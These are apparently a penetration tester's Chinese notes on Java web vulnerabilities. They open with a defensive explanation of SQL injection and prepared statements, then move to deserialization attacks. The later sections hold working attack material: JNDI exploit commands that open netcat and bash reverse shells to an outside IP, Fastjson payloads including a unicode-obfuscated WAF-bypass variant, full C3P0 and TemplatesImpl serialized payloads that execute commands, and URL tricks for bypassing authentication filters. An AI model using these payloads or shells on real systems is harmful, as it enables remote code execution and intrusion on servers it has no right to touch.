https://github.com/bewhale/JavaSec

https://github.com/whgojp/JavaSecLab

sql 注入

SQL注入的根本原因

SQL注入的根本原因是代码中通过字符串拼接的方式生成SQL语句,也可以说是用户输入被当作SQL代码解释执行,导致数据与代码边界被打破。例如写"select from user where id=" + userId,当攻击者传入1 or 1=1时,最终执行的SQL变成select from user where id=1 or 1=1,就会返回所有用户数据。只要SQL语句是通过拼接构建的,注入点就客观存在。

预编译是唯一可靠的核心防御

安全的写法是使用预编译技术,先定义好带问号占位符的SQL结构,如"select * from user where id=?",再将参数通过setInt、setString等方法传入。即使攻击者传入1 or 1=1,这个内容也只会被当作普通参数值处理,而不会被解析成SQL语句的一部分,因此无法注入。对于SQL中的数据值部分,参数化查询(PreparedStatement、MyBatis #{})是目前最可靠的防御方案。

使用了预编译但仍不安全的情况

有些代码虽然最终用了预编译对象,但SQL语句在传入之前还是拼接生成的。例如先拼接表名:"select * from " + tableName + " where id=?",如果tableName来自外部并传入user;drop table user--,最终执行的SQL就会变成select from user;drop table user-- where id=?,导致删表攻击,预编译无法保护被拼接进去的表名部分。同样的问题还会出现在列名、排序字段、分组字段等位置,例如"select * from user order by " + orderField,如果攻击者控制了orderField,同样可能造成SQL注入。因此预编译只能解决数据值(Value)部分的注入问题,对于表名、列名、排序字段等SQL结构部分,必须采用白名单控制。

参数校验不能替代预编译

先做参数校验再拼接SQL并不安全。比如写一个checkSql函数过滤单引号、双引号、union、select等关键字,然后拼接"select * from user where id=" + userId。攻击者可能利用大小写混淆、双重编码、URL编码、注释符、宽字节编码以及数据库特性等方式绕过过滤规则,最终仍然影响SQL语法结构。参数校验的作用应该是保证业务数据合法,例如年龄必须是数字、用户名长度不能超过20位、手机号必须符合格式,而不是承担SQL注入防御职责。参数校验可以作为辅助措施,但不能替代预编译。

MyBatis中的安全写法

在MyBatis中,#{xxx}对应预编译占位符,例如select * from user where username=#{username},传入admin' or '1'='1时只会作为普通字符串去匹配,不会发生注入。而${xxx}是直接进行字符串拼接,例如select from user where username='${username}',传入同样的参数后,最终SQL会变成select * from user where username='admin' or '1'='1',由于条件恒成立,将返回所有用户数据。因此除动态表名、动态排序字段等少数特殊场景并配合白名单控制外,应尽量避免使用${},优先使用#{}。
SQL注入防御总结

SQL注入的本质是用户输入进入SQL语法结构,被数据库当作代码执行。防御原则可以概括为:数据值一律使用预编译(PreparedStatement、MyBatis #{});表名、列名、排序字段等SQL结构部分使用白名单控制;参数校验用于业务合法性检查而非防注入;禁止直接拼接用户输入构造SQL语句;MyBatis优先使用#{},谨慎使用${};数据库账号遵循最小权限原则,即使发生注入也尽量降低影响范围。

actuator 泄露

dirsearch

https://github.com/sule01u/SBSCAN

https://github.com/CllmsyK/YYBaby-Spring_Scan

https://github.com/wh1t3zer/SpringBootVul-GUI

https://github.com/DeEpinGh0st/JDumpSpiderGUI

反序列化

https://github.com/lemono0/FastJsonParty

jdk高低版本区别与绕过

JDK 安全演进的核心就是先在 8u121 关闭 RMI 远程 Class 加载、8u191 关闭 LDAP 远程 Class 加载,让 JNDI 远程链基本失效,再从 JDK9 开始引入模块化、JDK16/17 开始加强反射和模块访问限制,导致大量老 Gadget 链失效,所以现代反序列化利用已经从“远程加载恶意 Class”转变为“利用目标本地已有 Gadget 并绕过高版本 JDK 的访问限制”。

JDK 低版本的时候,JNDI 不仅能利用本地 Gadget,还能通过 LDAP/RMI 远程加载攻击者提供的 class 字节码直接执行代码;而从 JDK 8u191 开始官方默认禁止远程 Codebase 加载,这条远程链基本失效了。但反序列化和 JNDI 注入并没有消失,因为攻击者还可以利用目标机器本身已经存在的 Jar 包中的 Gadget 链实现 RCE。所以现在实战中比起关注 JDK 版本,更应该关注目标引入了哪些依赖包,因为决定能否利用的核心往往是 Commons Collections、Spring、Groovy、XBean、Tomcat 等组件是否存在对应 Gadget。

序列化跟链核心

反序列化的核心不是入口,而是利用链。分析时不要从 readObject、Fastjson、JNDI 这些入口开始一路跟代码,否则很容易一路瞎跟代码。正确思路是先找到最终危险点,例如 Runtime.exec、ProcessBuilder、JNDI 或 EL 表达式执行,然后反推是谁调用了它,再继续往上找,直到找到反序列化入口。攻击者本质上就是把一条从入口到危险函数的调用链条件全部满足,让数据最终流向危险点完成利用。简单来说,反序列化负责进门,Gadget 负责带路,危险函数负责执行。

https://github.com/vulhub/java-chains

https://github.com/frohoff/ysoserial

https://github.com/X1r0z/JNDIMap

https://github.com/welk1n/JNDI-Injection-Exploit

# 可能有nc没有bash  反之亦然
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 172.31.0.66 9999 -e sh" -A 172.31.0.66
# 出网测试  或者ping n次测试延迟
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping xxxx.com" -A 172.31.0.66


#高版本绕过

https://github.com/B4aron1/JNDIBypass
bash -i >& /dev/tcp/172.31.0.66/5566 0>&1
java -jar JNDIBypass.jar -a 172.31.0.66 -p 1389 -c "bash -c {echo,base64编码命令}|{base64,-d}|{bash,-i}"

不出网利用总结

  1. 出网 + 有回连(有漏洞)
    目标已经成功产生预期回连行为,基本可以认为漏洞已经打中了。后面不用再纠结漏洞是否存在,直接往利用链、权限获取和影响面验证方向继续即可。

  2. 出网 + 无回连(无漏洞)
    目标本身具备出网能力,常见的检测方式和 Payload 也都已经尝试过了,但始终没有看到任何回连或异常表现。目前看不像存在漏洞,不过也不排除存在特殊触发条件或者尚未覆盖到的场景,因此暂时归类为未发现漏洞。

  3. 不出网 + 有明显延迟
    虽然没有收到回连结果,但目标在接收 Payload 后出现了稳定且可重复的异常延迟,说明目标很可能已经进入了相关处理逻辑。从经验来看,这种情况往往不是巧合,大概率已经打到了关键位置,只是受限于内网环境无法完成回连验证。建议继续结合错误回显、日志信息或其他侧信道进行确认。

  4. 不出网 + 无回连(无漏洞)+ 无延迟
    目标既无法出网,也没有表现出任何异常特征。常见 Payload、旁路检测方式以及延迟验证均未发现有效反馈。从目前掌握的信息来看,存在漏洞的可能性已经比较低了。如果后续没有新的线索或组件信息,可以暂时认为这条路径没有太大价值,将精力投入到其他攻击面会更划算。

fastjson

payload 可以用java-chains来快速生成测试 https://java-chains.vulhub.org/zh/docs/module/jndi

https://docs.qq.com/doc/DQ0VCRW1ZcnhtQWRR?opennew=1

https://docs.qq.com/doc/DQ1dId1Z5ZnBNT3Nj?opennew=1

https://www.bilibili.com/opus/1004276539121991686

https://blog.csdn.net/2401_87299138/article/details/142425120

1.2.47 (通杀漏洞)

是它或比它低直接通杀

    // ==================== 1.2.47 (通杀漏洞) ====================
    // AutoType 无需开启,绕过方式:利用 java.lang.Class 将恶意类加载到缓存
    @Test
    public void test() {
//        尝试DNS协议出网
        String payload = "{\"name\":{\"@type\":\"java.net.InetAddress\",\"val\":\"byx5ku.dnslog.cn\"}}";

//        String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://172.31.0.99:50389/ac6319\",\"autoCommit\":true}}";
//        可能绕过一些waf
        String payload = "{\"name\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0043\\u006c\\u0061\\u0073\\u0073\",\"\\u0076\\u0061\\u006c\":\"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\"},\"x\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\",\"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\":\"ldap://172.31.0.99:50389/ac6319\",\"autoCommit\":true}}";
        JSON.parseObject(payload, Object.class);
    }

1.2.68 延迟判断

java-chains > FastjsonPayload > FastjsonMySQLJdbc(Mysql-connector 1.2.68)

延迟判断

利用加载本地不存在的JNDI测试延时判断

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}

不出网利用

rce 不出网链全部是建立在要执行的命令文件转成bcel,byte,hex 等格式用到不同的依赖进行调用执行。

如何验证不出网payload是否生效?

  1. 可能目标网络防火墙安全组配置疏忽环境可能是限制的 TCP、UDP 等协议,因此可以试试能不能打一下DNS看看否出现外连

  2. 某些情况下,可通过异常信息泄露的路径(如 /var/www/html/home/xxx/wwwroot)进行验证,在已知 Web 目录下写入测试文件后访问对应 URL。若文件能够正常访问,则说明利用链已成功执行,无需依赖出网验证。

C3P0链

利用链可以直接用java-chains > FastjsonPayload 直接生成

攻击者先在本地构造一个实现 Serializable 的恶意类,将命令写在静态代码块中;然后将其序列化并转为十六进制字符串,拼接上 HexAsciiSerializedMap: 前缀,作为 C3P0 的 userOverridesAsString 字段值。

目标 Fastjson 反序列化时,C3P0 会识别该前缀,解码 Hex 并执行原生 readObject()。二次反序列化会触发恶意类的静态代码块,从而在目标服务器本地完成命令执行,全程无网络交互。

但有时目标服务器安全组禁用的是TCP与UDP协议此时可以尝试用DNS协议出网

他支持1.2.47

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

@Test
public void test() {
    String payload = "{\n" +
            "    \"x1\": {\n" +
            "        \"@type\": \"java.lang.Class\",\n" +
            "        \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
            "    },\n" +
            "    \"x2\": {\n" +
            "        \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
            "        \"userOverridesAsString\": \"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e0003787076720031636f6d2e73756e2e6f72672e6170616368652e6263656c2e696e7465726e616c2e7574696c2e436c6173734c6f61646572000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000001757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700000000074000e676574436f6e7374727563746f727571007e001a000000017671007e001a7371007e00137571007e001800000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000074000b6e6577496e7374616e63657571007e001a000000017671007e00187371007e00137571007e00180000000174059024244243454c2424246c243862244924412441244124412441244124416d522464625224544124512433642439332479246563247324792438612463625524663024383624584c24343024643824412442442451542463612448246162246532246164562461312461324f2439332464393124792438362464643824336224492466382465634f24663824462433632444552436304924653924482466384d243936246461246824752439312438322439372465392465392433652433642464642465377424636624636624646624646624376524412459246333244424383624643724393124616124626124626324636524633524623274246533246535243430452461652438383624704d243865546e2461632437642466374924752466354324646657322438652433642461392443243565244c2433654955245524626524794e245624743824663724782463352461392463322471245824613230243365312477247324663924653824626262612462616224383231246234246164246630243866246463246164246631246230246561243365246166246163482461314d246134245a243863244b24386624722438335324336146243364246164243832246230243361246333243930243865652439644e24623124656133342463662447612461302465372463382463642465352458245a246461243866246433246c6f244959246437412455243961682462312439314136244c2444246164244d662455243866243834243763555a38243766246132246239246237245a6b2462396a2465322443434b55246561245824772461614b24613537245a244772246137492465344f2438376c2462342461332470244c24482439642474246362365024542464645456472461356824356424616124383524383624623424386524646324393945242424613237243862246b246634243931246132246635246d24623470243939246331245351246138792451246336244d243764246666735958246536246361243933246c2464366424752465344c246665243864243864246162246238243936246263246564247424393134243963245224623941246f6f2464386842732447247624646362482462392463322463326d24682465366124714f2438396e247224496924613524572438362449246b247378246438243836752449246262244d24336424633724646468246d24383224623624666268247a24613824663952243939245965246538246361246264243364633424386224633924623424633724623324663471243861244d4d2462312465364a337424396550243762542438622465344e6224772463392462634b2477674524656468243937243836246530356232243933247224532462343163246e24663269243630246164243965246536246532246664532435652437662463352478352438392437652443244e2466612439666924656146244b246539243936497435246163246435246230247624623064246566742463652439312466372439392462325364246264246331243764243963732464612462652461326b2450243937243963247824376224623824666524466d246365246364243564244d38246239243564244d6e24613124643524623924393338247024653434243766474f3924626424383324422461666c246563243630246430247837246564246130246530243935244f3056246b246461246337246334246b2461362439372462362436302439342462362461392438352438316778244a2439626e2466332464342461342468246336246c622463382463632461346546243961246230243766243831246438245a24633424656324646524336646246264244e243365246d3624623324626224752469246d5524646524633724666424613524656446244d24376624422438622465632462362437662437652444244124417400096c6f6164436c6173737571007e001a00000001767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707371007e00137571007e00180000000071007e00237571007e001a00000000737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878;\"\n" +
            "    }\n" +
            "}";
    JSON.parse(payload);
}

TemplatesImpl链

条件 JSON.parseObject(payload, Feature.SupportNonPublicField);

它似乎只能支持1.2.24版本,利用链可以直接用java-chains > BytecodePayload > BytecodeConvert(处理字节码) 直接生成,注意需要勾选步骤二 BytecodeConvert 中 TemplatesImpl利用链|needAbstractTranslet *

@Test
public void test() {
    String poc="{\n" +
            "    \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
            "    \"_bytecodes\": [\"yv66vgAAADIAQgEAW29yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGVkUGFyYW1ldGVyMzVkNDBkZjYzYTU3NDU4ZTkxOGM1ZGU4NGNlOGEwNWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAEYmFzZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA3NlcAEAA2NtZAEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAsMAAkACgoABAANAQAHb3MubmFtZQgADwEAEGphdmEvbGFuZy9TeXN0ZW0HABEBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAATABQKABIAFQEAEGphdmEvbGFuZy9TdHJpbmcHABcBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAZABoKABgAGwEAA3dpbggAHQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDAAfACAKABgAIQEAB2NtZC5leGUIACMMAAUABgkAAgAlAQACL2MIACcMAAcABgkAAgApAQAHL2Jpbi9zaAgAKwEAAi1jCAAtDAAIAAYJAAIALwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAMQEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAAkAMwoAMgA0AQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsMADYANwoAMgA4AQAQamF2YS9sYW5nL09iamVjdAcAOgEACDxjbGluaXQ+AQAFbXN0c2MIAD0KAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAQAAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAEEAAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHADsACAA8AAoAAQBAAAAAGgACAAAAAAAOEj6zADC7AAJZtwA/V7EAAAAAAAA=\"],\n" +
            "    '_name': 'a.b',\n" +
            "    '_tfactory': {},\n" +
            "    \"_outputProperties\": {},\n" +
            "    \"_name\": \"b\",\n" +
            "    \"_version\": \"1.0\",\n" +
            "    \"allowedProtocols\": \"all\"\n" +
            "}\n";
    JSON.parseObject(poc, Feature.SupportNonPublicField);
}

BCEL-Tomcat&Spring链

它似乎只能支持1.2.24版本,利用链可以直接用java-chains > FastjsonPayload 直接生成,如想自行测试可以复制它生成的BCEL值替换一下

有key无链

内存马

这个结合反序列化威力甚是大

鉴权绕过

/login/..;/api/upload也就是说login不需要登录鉴权,后端发现..;将;去掉剩下../api/upload它会尝试回退上一级,上一级是/login会被吃掉,剩下/api/upload

还有可能它只匹配/admin其他的一律不鉴权,这个时候可以/;/admin或者//admin这样也可以绕过,它会识别到是/;开头不是admin但是后端解析会砍掉/;剩下/admin同理两个斜杠//admin也是一样,它都不是/admin开头,也可以绕过

filter或者Interceptor过滤/login.html不需要鉴权,我直接/login.html/../getAllUser()

还有一种可能它配置了.js .css .jpg png后缀配置,只要是这种后缀的资源就直接就放行不鉴权,那么就可以是/xxx.js/../getAllUser()